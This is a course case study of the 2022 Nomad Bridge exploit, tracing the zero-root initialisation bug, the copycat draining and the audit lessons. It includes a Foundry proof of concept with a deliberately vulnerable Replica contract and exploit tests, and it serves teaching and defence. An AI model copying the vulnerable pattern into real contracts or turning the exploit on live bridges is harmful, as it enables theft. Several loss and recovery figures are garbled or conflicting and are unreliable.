Case Study — Nomad Bridge, August 2022
“Being able to process a message without proving it first is extremely Not Good.” — samczsun, August 1, 2022, summarising the bug in one tweet while the bridge was still being drained in real time.
“This wasn’t a hack. This was a crowd-source. The first attacker found the door open; the next three hundred just kept walking through it because nobody could close it fast enough.” — Auditor’s gloss, retrospective.
Tags: web3-security case-study bridge cross-chain vulnerability access-control initialization anti-pattern Course position: Tuan-10-Bridge-Cross-Chain-Security §7.4 + Lab 2 (§8.3) — read those first. Related cases: Case-Wormhole-2022 (signature-verification bypass on Solana) · Case-Ronin-Bridge-2022 (validator key compromise) · Case-Poly-Network-2021 (cross-chain dispatcher access control) · Case-Parity-Multisig-2017 (uninitialised implementation, same family of init-bugs) Vault context: this is the canonical “init-defaults are part of the threat model” case. Pair it with Tuan-05-Vulnerability-Classes-Part-1 §4.4 (uninitialised proxy) — same anti-pattern, different surface.
1. At a glance
| Field | Value |
|---|---|
| Date of exploit | August 1, 2022 (UTC ~21:32) |
| Date bug was introduced | June 21, 2022 (production upgrade); the offending commit landed earlier on nomad-xyz/monorepo ([verify exact PR date]) |
| Bug dormant for | ~41 days |
| Protocol | Nomad Bridge (nomad-xyz) |
| Chains affected | Ethereum ↔ Moonbeam, Evmos, Avalanche, Milkomeda (lock side was Ethereum) |
| Loss | ~$190M USD drained from the Ethereum-side lock contracts |
| Attack class | Uninitialised “trusted Merkle root” — confirmAt[bytes32(0)] = 1 made any default-root proof acceptable |
| Affected contract | Replica.sol (proxied; bug in the new implementation behind the proxy) |
| Vulnerable function | process() → acceptableRoot(messages[_messageHash]) chain |
| Vector | Public mempool, copy-paste exploit; 300+ unique EOAs participated; 88% were copycats per Coinbase analysis |
| Recovered | ~$36M+ returned via white-hat / 10% bounty programme |
| Outcome | Bridge permanently shut down; Nomad eventually wound down operations [verify]; co-founder later faced legal action including extradition of a key suspect (TRM Labs report) |
| Significance | First “crowd-looted” major DeFi exploit. Permanently changed how auditors think about (a) initialisation defaults and (b) mempool-visible exploits with zero-skill replication |
The whole bug in one line:
confirmAt[bytes32(0)] = 1, combined withmessages[_unknownHash]returningbytes32(0)by Solidity default, means every unproven message passed validation.
2. Background — Nomad’s optimistic bridge design
2.1 Why “optimistic”?
To understand why this bug was catastrophic and why nobody caught it for six weeks, you need the design context. Nomad was built by ex-cLabs (Celo) and ex-ConsenSys engineers as an alternative to multisig bridges. Their thesis, circa 2022:
Multisig bridges (Ronin, Harmony, Wormhole) concentrate trust in a small signer set. One compromise — phishing, malware, insider — drains the bridge. Optimistic bridges remove the signer set entirely. Instead, one updater posts state roots, and anyone can dispute them during a 30-minute challenge window. Trust collapses from “M-of-N signers” to “at least one honest watcher”.
Compare to Optimistic Rollups (Optimism, Arbitrum): same mental model, applied to cross-chain message passing instead of L2 state transitions.
flowchart LR subgraph Source["Source chain — Home.sol"] Sender[Sender contract] -->|"dispatch(msg)"| Home[Home contract] Home -->|"insert leaf<br>into Merkle tree"| Tree[Merkle tree<br>root R_n] end Tree -->|"Updater signs R_n<br>posts to Replica"| Updater[Updater<br>off-chain] subgraph Dest["Destination chain — Replica.sol"] Updater -->|"update(R_n)<br>schedule confirmAt[R_n] = now + 30min"| Replica[Replica contract] Replica -->|"after 30 min, R_n is acceptable"| Process["process(msg, proof)"] Process -->|"verify Merkle proof<br>vs R_n; check acceptableRoot"| Recipient[Recipient contract] end Watchers[Watchers<br>off-chain] -.-> |"during 30 min:<br>can dispute & freeze"| Replica style Replica fill:#cce5ff style Process fill:#fff3cd
2.2 Key components
| Contract | Role |
|---|---|
Home (on source chain) | Maintains the outbound Merkle tree. Every dispatched cross-chain message becomes a leaf. Emits Update events when the tree grows. |
Updater (off-chain role) | A single bonded actor who signs Merkle roots and pushes them to the Replica on each destination chain. |
Replica (on dest chain) | Receives signed roots from the Updater. Each new root is stored in confirmAt[root] = block.timestamp + 30 minutes. After 30 minutes, the root is “acceptable” — i.e., any message whose Merkle proof reconstructs that root can be processed. |
Watcher (off-chain role) | Any party that monitors for fraudulent updater attestations. If a watcher detects fraud during the 30-minute window, they can call a freeze function on the Replica. |
BridgeRouter / xAppConnectionManager | The application-layer contracts that actually move tokens. They sit on top of Home (for sends) and Replica (for receives). |
2.3 The trust assumption
The protocol’s stated trust assumption: one honest watcher. If even a single watcher is online and the bridge isn’t bug-free for 30 minutes, fraud gets challenged.
The implicit (and never stated clearly enough) trust assumption: the contract’s verification logic correctly distinguishes “an acceptable root” from “the default value of an uninitialised mapping entry”. This is the assumption that broke.
Auditor’s frame: every optimistic system has two trust surfaces — the economic surface (will watchers actually watch?) and the logical surface (does the on-chain verifier do what it claims to?). Nomad’s exploit was a logical-surface failure that the economic surface couldn’t catch in time because the exploit was permissionless and instantaneous once known.
3. The vulnerability — line by line
3.1 The three actors in the bug
Three pieces of state interact pathologically:
confirmAt: mapping(bytes32 => uint256)— for eachroot, the unix timestamp when it becomes acceptable. Zero means “not scheduled”.messages: mapping(bytes32 => bytes32)— for eachmessageHash, the root under which it was proven (set duringprove()). Zero means “never proven”.acceptableRoot(bytes32 _root) -> bool— view function that returnstrueiffconfirmAt[_root]is non-zero and in the past.
The intended flow:
- A user (or relayer) calls
prove(message, proof)on theReplica. This walks the Merkle proof, computes a root, requires that root to be inconfirmAt, and storesmessages[messageHash] = computedRoot. - Later, the user (or anyone) calls
process(message). This readsmessages[messageHash]to find which root it was proven under, then callsacceptableRoot(that root)to confirm the root has finished its 30-minute window.
If prove() was never called for a given message, messages[messageHash] returns bytes32(0). Then acceptableRoot(0) should obviously return false — but the bug makes it return true.
3.2 The vulnerable Solidity (post-upgrade Replica implementation)
// Replica.sol — vulnerable post-upgrade implementation, simplified to the relevant lines.
// State
mapping(bytes32 => uint256) public confirmAt;
mapping(bytes32 => bytes32) public messages;
bytes32 public committedRoot;
uint8 internal entered;
// LEGACY constants used to mark a root as "proven but not yet processed", etc.
bytes32 public constant LEGACY_STATUS_PROVEN = bytes32(uint256(1));
bytes32 public constant LEGACY_STATUS_PROCESSED = bytes32(uint256(2));
// (1) The initializer — called once when the proxy is upgraded to this impl.
function initialize(
uint32 _remoteDomain,
address _updater,
bytes32 _committedRoot, // <— here is the foot-gun
uint256 _optimisticSeconds
) public initializer {
entered = 1;
remoteDomain = _remoteDomain;
committedRoot = _committedRoot;
confirmAt[_committedRoot] = 1; // <— THE LINE
_setOptimisticTimeout(_optimisticSeconds);
}
// (2) The view that everything else relies on.
function acceptableRoot(bytes32 _root) public view returns (bool) {
if (_root == LEGACY_STATUS_PROVEN) return true;
if (_root == LEGACY_STATUS_PROCESSED) return false;
uint256 _time = confirmAt[_root];
if (_time == 0) return false;
return block.timestamp >= _time;
}
// (3) The message dispatch.
function process(bytes memory _message) public returns (bool _success) {
bytes29 _m = _message.ref(0);
require(_m.destination() == localDomain, "!destination");
bytes32 _messageHash = _m.keccak();
// THE FATAL CHECK:
// - If the message has never been proven, messages[_messageHash] is bytes32(0) (Solidity default).
// - acceptableRoot(bytes32(0)) -> confirmAt[bytes32(0)] = 1 -> block.timestamp >= 1 -> TRUE.
require(acceptableRoot(messages[_messageHash]), "!proven");
require(entered == 1, "!reentrant");
entered = 0;
messages[_messageHash] = LEGACY_STATUS_PROCESSED;
// ... dispatches to the recipient contract, which (for the BridgeRouter)
// mints/releases wrapped or canonical tokens to the recipient encoded in _message.
}The bug is one line: confirmAt[_committedRoot] = 1; — with _committedRoot passed in as bytes32(0) during the production upgrade on June 21, 2022.
3.3 The interaction that produces the exploit
Walk through what happens when a random attacker calls process(forgedMessage):
attacker calls: Replica.process(forgedMessage)
|
v
_messageHash = keccak256(forgedMessage) // some hash the attacker chose;
// crucially, prove() was NEVER called.
|
v
require( acceptableRoot( messages[_messageHash] ), "!proven" )
|
v
messages[_messageHash] // unset entry → Solidity default
|
v
bytes32(0)
|
v
acceptableRoot( bytes32(0) )
|
v
_root != LEGACY_STATUS_PROVEN (0x...01) // (0 != 1, skip)
_root != LEGACY_STATUS_PROCESSED (0x...02) // (0 != 2, skip)
_time = confirmAt[ bytes32(0) ]
|
v
1 // SET BY initialize()!
_time == 0 ? // 1 != 0, skip the return-false
|
v
return block.timestamp >= 1 // TRUE for all reasonable times
|
v
acceptableRoot returns TRUE
|
v
require passes, message is processed,
recipient (encoded inside forgedMessage) gets the assets.The attacker controls the recipient bytes inside forgedMessage. Anything that decodes as a valid BridgeRouter payload — “transfer X of token Y to address Z” — will be processed.
3.4 Why two safeguards both failed simultaneously
Defence-in-depth would normally rescue you here. It didn’t, because both layers of the design accidentally agreed on the same default value:
| Layer | What it produces by default | Should have been | Why it wasn’t |
|---|---|---|---|
messages[unknownHash] | bytes32(0) — the EVM zero-default for an unset mapping value | A sentinel like bytes32(uint256(2**256-1)) or a separate “is-proven” boolean | Solidity has no way to distinguish “set to zero” from “never set” for a bytes32 mapping value. The contract used LEGACY_STATUS_PROVEN = 1 and LEGACY_STATUS_PROCESSED = 2 for marked states, but treated 0 as the “never proven” state — fine on its own. |
confirmAt[bytes32(0)] | 0 (mapping default), which acceptableRoot correctly rejects | Stay zero — the contract should never mark the zero root as confirmed | The June 21 upgrade initialize() call passed _committedRoot = bytes32(0) and the initializer wrote confirmAt[bytes32(0)] = 1. |
The two defaults collided. A “never proven” messages lookup produced 0, and confirmAt[0] was made non-zero. The Boolean became “yes, this never-proven message is acceptable”.
Lesson worth burning in: any time two independent state machines share a default value (here,
bytes32(0)), an initialiser must explicitly check the default is never a valid value in either machine. The check is one line:require(_committedRoot != bytes32(0), "no zero root");. It would have prevented the loss. It wasn’t there.
3.5 Cross-reference to Tuan-05-Vulnerability-Classes-Part-1 §4.4
Tuan-05 covers uninitialised-implementation hazards (Parity Multisig 2017). The Nomad bug is the same family with a twist:
- Parity 2017: implementation was never initialised → attacker could
initialize()and take control. - Nomad 2022: implementation was initialised, but with a sentinel value (
bytes32(0)) that the rest of the system treats as “no value”. The initialisation itself was the exploit.
In auditor language: Parity is “init missing”; Nomad is “init malicious-by-accident”. Both belong in the “initialisation hazards” section of your checklist (see §7 below).
4. The attack — first exploiter and the frenzy
4.1 The trigger
The initial Nomad post-mortem and Mandiant’s later forensic report both point to a quiet discovery period. Public threads from August 1 suggest:
- An initial exploiter found the bug, possibly by inspecting the June 21 implementation upgrade calldata on Etherscan.
- First successful exploit transaction was at Ethereum block 15259101, around 21:32 UTC on August 1, 2022, draining 100 WBTC.
- The first attacker repeated the pattern across several token types (WBTC, WETH, USDC, FRAX, CQT, HBOT, IAG, etc.) over the next minutes.
After the first few transactions hit the explorer, the calldata pattern was trivially observable. Within roughly an hour, the public mempool became a battleground as bots and humans copy-pasted the calldata, swapped out the recipient bytes, and submitted their own transactions.
4.2 The “copy-paste exploit” mechanics
The attack template was:
- Pull a working
process()transaction from Etherscan. - Decode the calldata — it contained a forged
_messagewhose recipient bytes were the original attacker’s address. - Open the transaction in MetaMask / Foundry / a custom script. Edit the recipient bytes to your own address. No proof recomputation needed (the “proof” was effectively absent —
process()was being called directly with an unproven message, and the bug accepted it). - Broadcast. The Nomad
Replicawould call intoBridgeRouter, which would release tokens from the locked collateral pool to your address. - Repeat until the pool was empty (or someone front-ran you).
This is why the attack is described as “crowd-looted” — at one point dozens of independent EOAs were submitting near-identical transactions within the same block.
4.3 The attacker breakdown (Mandiant / Google Cloud forensics)
Mandiant’s clustering identified four major groups plus a long tail:
| Group | Addresses | USD stolen | Behaviour | Likely identity |
|---|---|---|---|---|
| A (White) | 3 | ~$18.8M | Partial return via Nomad’s recovery wallet | White-hats |
| B (Orange) | 2 | ~$4.0M | Funds → 1inch → Tornado Cash; linked to April 2022 Rari Capital exploit | Experienced threat actor |
| C (Red) | several | ~$5.2M | Uniswap + Tornado Cash | Moderate-confidence single actor |
| D (Black) | several | ~$54.5M | OrionPool, Uniswap, Curve, Tornado Cash, two purple deposit addresses | High-confidence coordinated group; largest taker |
Long-tail distribution:
- 14 addresses stole >$2M each.
- 22 addresses stole 2M each.
- 281 addresses stole 1M each.
- 215 addresses stole 100K each.
Coinbase later concluded that 88% of attacking addresses were copycats by transaction-pattern analysis. They stole roughly 190M in aggregate.
4.4 Why no one could stop it
Several factors made mid-exploit response impossible:
| Factor | Detail |
|---|---|
| No pausing role with low-latency response | The Nomad team’s pause path required a multisig action; the bridge was being drained at the speed of Ethereum block production. |
| Public mempool | Every “successful” transaction telegraphed the exploit to all observers. Within minutes the bug went from “one person knows” to “everyone with a wallet knows”. |
| No on-chain rate limits | The BridgeRouter had no per-block or per-token cap on outflows. The full lock could drain in tens of minutes. |
| Optimistic design has no destination-side rollback | Unlike a multisig that can rotate signers, an optimistic bridge under attack has no graceful degradation — once the verification is broken, the only remedy is killing the contract. |
| Watchers were watching the wrong thing | Nomad’s watcher economic model assumed fraudulent updater attestations. The exploit didn’t involve the updater at all; it bypassed updater attestations entirely by exploiting the verification logic itself. Watchers had no signal to react to. |
Auditor’s note: the watcher trust model presumes the attacker submits a malicious update. In this exploit, no malicious update was submitted — the attacker simply rode the legitimate post-upgrade state. The fraud-proof system had nothing to challenge.
5. Reproduction — Foundry PoC
This section gives you a self-contained reproduction. The version in Tuan-10-Bridge-Cross-Chain-Security §8.3 (Lab 2) is the simplified NomadLite. This case study expands it to a “structurally faithful” reproduction — closer to the actual Replica shape, with prove() and process() separated and the confirmAt mapping rather than acceptableRoot[bytes32 => bool].
5.1 Directory layout
~/web3-sec-lab/case-nomad/
├── foundry.toml
├── src/
│ ├── ReplicaVulnerable.sol
│ └── BridgeRouter.sol
└── test/
├── NomadExploit.t.sol
└── NomadPatch.t.sol
5.2 The faithful vulnerable contract
// src/ReplicaVulnerable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @title ReplicaVulnerable — structurally faithful Nomad Replica pre-patch.
/// @notice This is a teaching reproduction. It removes the off-chain Updater
/// and watcher pieces (irrelevant to the bug) and keeps the
/// prove()/process()/acceptableRoot/initialize structure intact.
contract ReplicaVulnerable {
// ----- LEGACY status sentinels -----
bytes32 public constant LEGACY_STATUS_NONE = bytes32(0);
bytes32 public constant LEGACY_STATUS_PROVEN = bytes32(uint256(1));
bytes32 public constant LEGACY_STATUS_PROCESSED = bytes32(uint256(2));
// ----- State -----
mapping(bytes32 => uint256) public confirmAt;
mapping(bytes32 => bytes32) public messages;
bytes32 public committedRoot;
uint256 public optimisticSeconds;
bool internal _initialized;
uint8 internal _entered;
// ----- Events -----
event Initialized(bytes32 committedRoot);
event Updated(bytes32 indexed newRoot, uint256 confirmAt);
event Proven(bytes32 indexed messageHash, bytes32 indexed root);
event Processed(bytes32 indexed messageHash, address indexed to, uint256 amount);
// ----- Modifiers / errors -----
modifier nonReentrant() {
require(_entered == 1, "!reentrant");
_entered = 0;
_;
_entered = 1;
}
// ----- Initializer (the foot-gun) -----
function initialize(bytes32 _committedRoot, uint256 _optimisticSeconds) external {
require(!_initialized, "init: already");
_initialized = true;
_entered = 1;
committedRoot = _committedRoot;
optimisticSeconds = _optimisticSeconds;
// THE BUG, line for line as Nomad shipped:
confirmAt[_committedRoot] = 1;
emit Initialized(_committedRoot);
}
// ----- "Updater" pushes a new root and schedules acceptance -----
function update(bytes32 _newRoot) external {
// simplified: no signature check in this reproduction
confirmAt[_newRoot] = block.timestamp + optimisticSeconds;
emit Updated(_newRoot, confirmAt[_newRoot]);
}
// ----- prove(): walks the proof to a root; marks message as proven -----
function prove(
bytes32 _leaf,
bytes32[] calldata _proof,
uint256 _index
) external returns (bool) {
require(_proof.length <= 32, "proof too long");
bytes32 _computed = _leaf;
uint256 _path = _index;
for (uint256 i = 0; i < _proof.length; i++) {
if (_path & 1 == 1) {
_computed = keccak256(abi.encodePacked(_proof[i], _computed));
} else {
_computed = keccak256(abi.encodePacked(_computed, _proof[i]));
}
_path >>= 1;
}
require(acceptableRoot(_computed), "!root");
messages[_leaf] = _computed;
emit Proven(_leaf, _computed);
return true;
}
// ----- The view at the heart of the bug -----
function acceptableRoot(bytes32 _root) public view returns (bool) {
if (_root == LEGACY_STATUS_PROVEN) return true;
if (_root == LEGACY_STATUS_PROCESSED) return false;
uint256 _time = confirmAt[_root];
if (_time == 0) return false;
return block.timestamp >= _time;
}
// ----- process(): consume a proven message -----
function process(
bytes32 _messageHash,
address _recipient,
uint256 _amount
) external nonReentrant returns (bool) {
// <-- THE LINE that the exploit relies on:
require(acceptableRoot(messages[_messageHash]), "!proven");
messages[_messageHash] = LEGACY_STATUS_PROCESSED;
emit Processed(_messageHash, _recipient, _amount);
// In real Nomad, this would dispatch to BridgeRouter to mint/release tokens.
return true;
}
}5.3 The exploit test
// test/NomadExploit.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/ReplicaVulnerable.sol";
contract NomadExploitTest is Test {
ReplicaVulnerable replica;
address constant ALICE_LEGIT_RECIPIENT = address(0xA11CE);
address constant ATTACKER = address(0xBADC0DE);
address constant COPYCAT_1 = address(0xBADC0DE1);
address constant COPYCAT_2 = address(0xBADC0DE2);
function setUp() public {
replica = new ReplicaVulnerable();
// RE-CREATE THE PRODUCTION BUG:
// June 21, 2022 upgrade passed bytes32(0) as the committed root.
replica.initialize(bytes32(0), 30 minutes);
}
/// @notice Demonstrate that the legitimate `acceptableRoot` view returns
/// true for ANY input — because for any unknown hash, messages[h]
/// is 0, and acceptableRoot(0) is true.
function test_step1_unproven_root_is_acceptable() public view {
assertTrue(replica.acceptableRoot(bytes32(0)), "zero root acceptable?");
// For any random message hash:
bytes32 randomHash = keccak256("anything");
assertEq(replica.messages(randomHash), bytes32(0));
assertTrue(replica.acceptableRoot(replica.messages(randomHash)),
"default mapping value passes acceptableRoot");
}
/// @notice Replicate the first attacker's transaction:
/// craft a forged message, call process() directly without prove(),
/// get away with 100 WBTC's worth of release.
function test_step2_first_exploiter() public {
bytes32 forgedHash = keccak256(abi.encodePacked(
"any message body the attacker likes",
ATTACKER,
uint256(100 ether)
));
// No call to prove() — messages[forgedHash] is still bytes32(0).
vm.expectEmit(true, true, false, true);
emit ReplicaVulnerable.Processed(forgedHash, ATTACKER, 100 ether);
replica.process(forgedHash, ATTACKER, 100 ether);
// In production this would have released 100 WBTC (~$2.3M Aug 2022).
}
/// @notice Replicate the copy-paste swarm.
/// Two new EOAs reuse the *same* exploit template — only the
/// recipient bytes differ — and both succeed in the same block.
function test_step3_copycats_succeed() public {
// Copycat 1: same shape, different recipient.
bytes32 hash1 = keccak256(abi.encodePacked("template", COPYCAT_1, uint256(50 ether)));
replica.process(hash1, COPYCAT_1, 50 ether);
// Copycat 2: another rebroadcast.
bytes32 hash2 = keccak256(abi.encodePacked("template", COPYCAT_2, uint256(75 ether)));
replica.process(hash2, COPYCAT_2, 75 ether);
// No revert. No proof. The "frenzy" is reproducible in one test.
emit log("Both copycats drained the bridge without any proof.");
}
/// @notice Process the SAME hash twice — should fail the second time
/// because messages[hash] is now LEGACY_STATUS_PROCESSED.
/// BUT: the attacker just picks a fresh hash. No throttle.
function test_step4_no_throttle_only_per_hash_marking() public {
bytes32 h1 = keccak256("draw 1");
replica.process(h1, ATTACKER, 100 ether);
vm.expectRevert(bytes("!proven"));
replica.process(h1, ATTACKER, 100 ether);
// But:
bytes32 h2 = keccak256("draw 2");
replica.process(h2, ATTACKER, 100 ether); // succeeds — no global rate limit
}
}5.4 The patch
The fix the Nomad team would have shipped, had they caught the bug pre-deployment, has two layers. Both are auditor-mandatory:
// src/ReplicaFixed.sol — additions in initialize() and process()
function initialize(bytes32 _committedRoot, uint256 _optimisticSeconds) external {
require(!_initialized, "init: already");
require(_committedRoot != bytes32(0), "init: no zero root"); // (A)
_initialized = true;
_entered = 1;
committedRoot = _committedRoot;
optimisticSeconds = _optimisticSeconds;
confirmAt[_committedRoot] = 1;
emit Initialized(_committedRoot);
}
function process(
bytes32 _messageHash,
address _recipient,
uint256 _amount
) external nonReentrant returns (bool) {
bytes32 _root = messages[_messageHash];
require(_root != bytes32(0), "!proven (no zero root path)"); // (B)
require(acceptableRoot(_root), "!proven");
messages[_messageHash] = LEGACY_STATUS_PROCESSED;
emit Processed(_messageHash, _recipient, _amount);
return true;
}- (A) Disallow setting the zero root as committed. Defence at the initialiser.
- (B) Reject the zero root explicitly in the consumer. Defence at the use site. Two layers because (a) initialise is run once and easy to misuse, and (b) future upgrades or admin functions might write
confirmAt[0] = Xagain.
A third, structural defence is to stop using the zero default as a state — use an explicit mapping(bytes32 => bool) public proven; so “not in the map” cleanly means false, never anything else. See Lab 2 Task B in Tuan-10 for the leaf/internal-node domain-separation patch as a separate (compounding) defence.
5.5 Run
forge test --match-contract NomadExploitTest -vvv
# expected: all four tests pass, demonstrating exploit + frenzy + per-hash limit.Then port process() to ReplicaFixed.sol and write the corresponding NomadPatch.t.sol: the same exploit transactions should revert("!proven (no zero root path)").
6. Aftermath
6.1 Recovery efforts
Nomad announced a recovery programme within 36 hours of the exploit:
- 10% bounty to anyone returning at least 90% of what they took. Those returning ≥90% were granted “white-hat” status with no legal action pursued.
- A dedicated recovery wallet was published. Funds began trickling back within days.
- Recovered total: ~22M, eventually $32.6M+ per public reporting). Final figures vary by source; ~20% of the loss was recovered as a working estimate.
- Some returners received a commemorative “white hat wizard” NFT — a community joke that itself became press.
6.2 Forensics and law enforcement
- Mandiant / Google Cloud’s threat-intel team published a detailed cluster analysis identifying four main attacker groups (see §4.3 above).
- TRM Labs and the U.S. Department of Justice continued investigating individual attacker addresses. One key suspect was extradited to the United States per TRM’s reporting; he was charged with wire fraud and money laundering [verify current case status].
- Tornado Cash deposits from Nomad exploit addresses became part of the U.S. Treasury OFAC sanctions context (Tornado Cash sanctions came down on August 8, 2022 — one week after Nomad).
6.3 Protocol fate
- The bridge contracts were paused; the protocol announced no plans to reopen the bridge.
- Nomad attempted a recovery plan involving “Nomad bridged” wrapped assets that were market-traded at depressed prices on Moonbeam, Evmos, Avalanche, and Milkomeda.
- Eventually the entity wound down. Tuan-10-Bridge-Cross-Chain-Security treats Nomad as historical; no production successor exists.
6.4 What changed in the industry
| Change | Cause |
|---|---|
| Mandatory zero-value rejection in init paths | Nomad-class bug awareness; many 2023+ audit reports specifically check for require(value != 0) in initialisers. |
| Mempool monitoring | Forta, OpenZeppelin Defender, and other watchers added “abnormal volume” triggers that auto-page on-call security on >$X/min outflows. |
| On-chain rate limits | LayerZero V2 OApps, CCIP rate limiters, Hyperlane warp-route caps — all post-Nomad design patterns. |
| Operational pause within seconds | Hot-key emergency pause roles separated from upgrade roles, with sub-minute pause SLAs. |
| Auditor’s “init review” became a first-class artefact | Many audit firms now include a separate “initialisation review” section listing every initialize() / initializer call argument, defaults, and reachability post-upgrade. |
7. Lessons — checklist form
7.1 Defaults are part of the threat model
Single rule, repeat 100 times: in any
mapping(K => V), the read of an unset key returns the type’s zero value. If your authorisation logic accepts that zero value, an unset key is an authorisation.
Applies broadly:
| Pattern | Default-key hazard |
|---|---|
mapping(address => bool) public isAdmin; | isAdmin[address(0)] = true → any tx with msg.sender == address(0) (rare but possible in EOF / EOAs in test) passes admin check. |
mapping(bytes32 => bool) public validRoot; | validRoot[bytes32(0)] = true → any “default” proof passes (Nomad). |
mapping(uint256 => address) public owner; | owner[0] = something → unset ID has “owner” assigned. |
mapping(address => uint256) public balance; | Less dangerous because zero balance is the safe default; but combined with arithmetic underflow pre-0.8 it’s catastrophic. |
mapping(bytes32 => uint256) public confirmAt; | confirmAt[bytes32(0)] = anything-nonzero → the actual Nomad bug. |
7.2 Auditor’s pre-deploy init review
When auditing any contract with initialize() / _disableInitializers():
- Read every argument to every
initialize()call in the deployment scripts. - For every state variable written, ask: “is the value the default value of its type? Is there any path elsewhere that would treat the default as authorised?”
- For every
mapping(K => V)written, ask: “is the keyKa sentinel? IsVa sentinel? Is the unset value of V used elsewhere?” - For every
bool initialized/Initializablepattern, ask: “is the implementation itself disabled via_disableInitializers()in the constructor?” - For every proxy: read the upgrade calldata from Etherscan and trace the bytes back to the source. Don’t trust the team’s English description of “what we upgraded”.
7.3 Optimistic-bridge specific checks
When auditing an optimistic bridge (or any optimistic verification system):
- What is the watcher economic model? Who is paid to watch? How are they incentivised?
- Can the on-chain logic be bypassed entirely without the watcher being able to act? (Nomad: yes — exploit didn’t involve an updater attestation, so watchers had no signal.)
- What is the pause path latency? Multisig action measured in minutes-to-hours, or hot-key in seconds?
- Are there on-chain rate limits or circuit breakers on outflows?
- What is the maximum cumulative loss in one block? In ten minutes? Compare to the response latency.
7.4 What you would have caught in 60 minutes of review
Imagine you got the Nomad post-upgrade implementation as a Code4rena scope on June 22, 2022. Here is the audit timeline you should have had:
| Minute | Action | Finding |
|---|---|---|
| 0–10 | Scan the diff vs. previous implementation. | Note that initialize() is callable; check _committedRoot argument origin. |
| 10–20 | Pull the deployment script and the upgrade calldata. | Observe _committedRoot = 0x00. Pause. |
| 20–40 | Trace confirmAt[0x00] = 1 through the contract. | Find acceptableRoot(0) returns true. Find process() calls acceptableRoot(messages[hash]). |
| 40–55 | Walk the unknown-hash path. | Realise messages[unknownHash] = bytes32(0), so acceptableRoot accepts. |
| 55–60 | Write up: Critical. Initialised zero root accepts any unproven message. Reproduction in Foundry attached. | Save the bridge. |
The bug was in scope of every audit firm’s normal toolkit. It needed one auditor to read the upgrade calldata. That is the discipline this case study trains.
7.5 The meta-lesson
Every bridge case study — Poly, Wormhole, Ronin, Nomad, Harmony, Multichain — turns out to be a trust-model finding, not a Solidity-syntax finding. Slither, Mythril, and the linters can’t tell you that confirmAt[bytes32(0)] = 1 is dangerous. The auditor has to recognise that the system has two state machines whose defaults align, and that alignment is the vulnerability. This recognition is the senior auditor’s craft. You acquire it by writing PoCs like the one in §5 until the pattern is muscle memory.
8. What you would have caught — the concrete checklist
Pin this to the wall above your monitor.
- Read upgrade calldata, not the changelog. Decode every
delegatecallupgrade against the new implementation’s ABI. Look at the actual bytes that were passed. - Catalogue every sentinel value. For each mapping that controls authorisation, write down: “what does the default value of V mean here?” If the answer is anything other than “definitely false / unauthorised”, flag.
- Reject zero-key paths explicitly.
require(root != bytes32(0)).require(addr != address(0)).require(id != 0). Cheap; one line; saves nine-figure losses. - Separate “is set” from “value”. Prefer
mapping(K => bool) public isSet;+mapping(K => V) public value;over overloading the zero value. - For optimistic bridges: identify the watcher’s signal. If the exploit doesn’t produce a signal the watcher would react to, the optimistic guarantee is illusory.
- For all bridges: identify the maximum-loss-per-block scenario and compare to the team’s response latency.
- For all upgradeable systems: every
initialize()invocation in the deploy script gets its own audit finding-or-not decision. Don’t let “but it’s just init” lull you.
Nomad was caught — after the fact — by reading three lines of Solidity. The cost of not reading them in time was $190M. The cost of reading them is fifteen minutes of attention. The asymmetry is the entire reason you are studying to be an auditor.
9. References
Primary
- Nomad official post-mortem — Nomad Bridge Hack: Root Cause Analysis. https://medium.com/nomad-xyz-blog/nomad-bridge-hack-root-cause-analysis-875ad2e5aacd
- The Road to Recovery — Nomad team’s status update on returned funds, white-hat programme. https://medium.com/nomad-xyz-blog/the-road-to-recovery-6abe5eec8ff1
- Nomad monorepo on GitHub —
nomad-xyz/monorepo,packages/contracts-core/contracts/Replica.sol. (Audit the offending implementation directly. [verify exact commit hash for the June 21 upgrade].)
Technical analyses
- Immunefi — Hack Analysis: Nomad Bridge, August 2022. https://medium.com/immunefi/hack-analysis-nomad-bridge-august-2022-5aa63d53814a
- Halborn — Explained: The Nomad Hack (August 2022). https://www.halborn.com/blog/post/explained-the-nomad-hack-august-2022
- Halborn — The Nomad Bridge Hack: A Deeper Dive. https://www.halborn.com/blog/post/the-nomad-bridge-hack-a-deeper-dive
- BlockSec — Attack Analysis: How Unchecked Mapping Makes $200M Losses of Nomad Bridge. https://blocksecteam.medium.com/attack-analysis-how-unchecked-mapping-makes-200m-losses-of-nomad-bridge-441336e28924
- Neptune Mutual — Analysis of the Nomad Bridge Exploit. https://medium.com/neptune-mutual/analysis-of-the-nomad-bridge-exploit-2641d70f675d
- CertiK — Nomad Bridge Exploit Incident Analysis. https://www.certik.com/blog/nomad-bridge-exploit-incident-analysis
- Numen Cyber — Nomad Bridge Attack Incident Analysis. https://www.numencyber.com/nomad-bridge-attack-incident-analysis/
- Solidgroup — The first Mass Exploit of a protocol: Nomad Bridge. https://solidgroup-68170.medium.com/the-first-mass-exploit-of-a-protocol-nomad-bridge-337fbcfc2476
- NomosLabs — Nomad Bridge Exploit: Technical Breakdown of the $190M Hack. https://nomoslabs.io/blog/nomad-bridge-exploit-technical-breakdown-190m-hack
Forensics and law enforcement
- Mandiant / Google Cloud — Decentralized Robbery: Dissecting the Nomad Bridge Hack and Following the Money. https://cloud.google.com/blog/topics/threat-intelligence/dissecting-nomad-bridge-hack
- Coinbase — Nomad Bridge incident analysis. https://www.coinbase.com/blog/nomad-bridge-incident-analysis
- Elliptic — Nomad Loses $156 Million in Fourth Major Crypto Bridge Exploit of 2022. https://www.elliptic.co/blog/analysis/nomad-loses-156-million-in-seventh-major-crypto-bridge-exploit-of-2022
- TRM Labs — Key Suspect in $190M Nomad Bridge Exploit Extradited to the United States. https://www.trmlabs.com/resources/blog/key-suspect-in-190m-nomad-bridge-exploit-extradited-to-the-united-states
- Cointelegraph — 88% of Nomad Bridge exploiters were ‘copycats’ — Report. https://cointelegraph.com/news/88-of-nomad-bridge-exploiters-were-copycats-report
- The Block — Nomad’s $190 million bridge exploit drew hacking feeding frenzy of 300 addresses. https://www.theblock.co/post/160851/nomads-190-million-bridge-exploit-drew-hacking-feeding-frenzy-of-300-addresses
- Decrypt — Crypto Bridge Nomad Exploited for $190M in ‘Frenzied Free-for-All’. https://decrypt.co/106459/crypto-bridge-nomad-exploited-190m-frenzied-free-for-all
- REKT — Nomad — REKT. https://rekt.news/nomad-rekt
On-chain evidence (Etherscan)
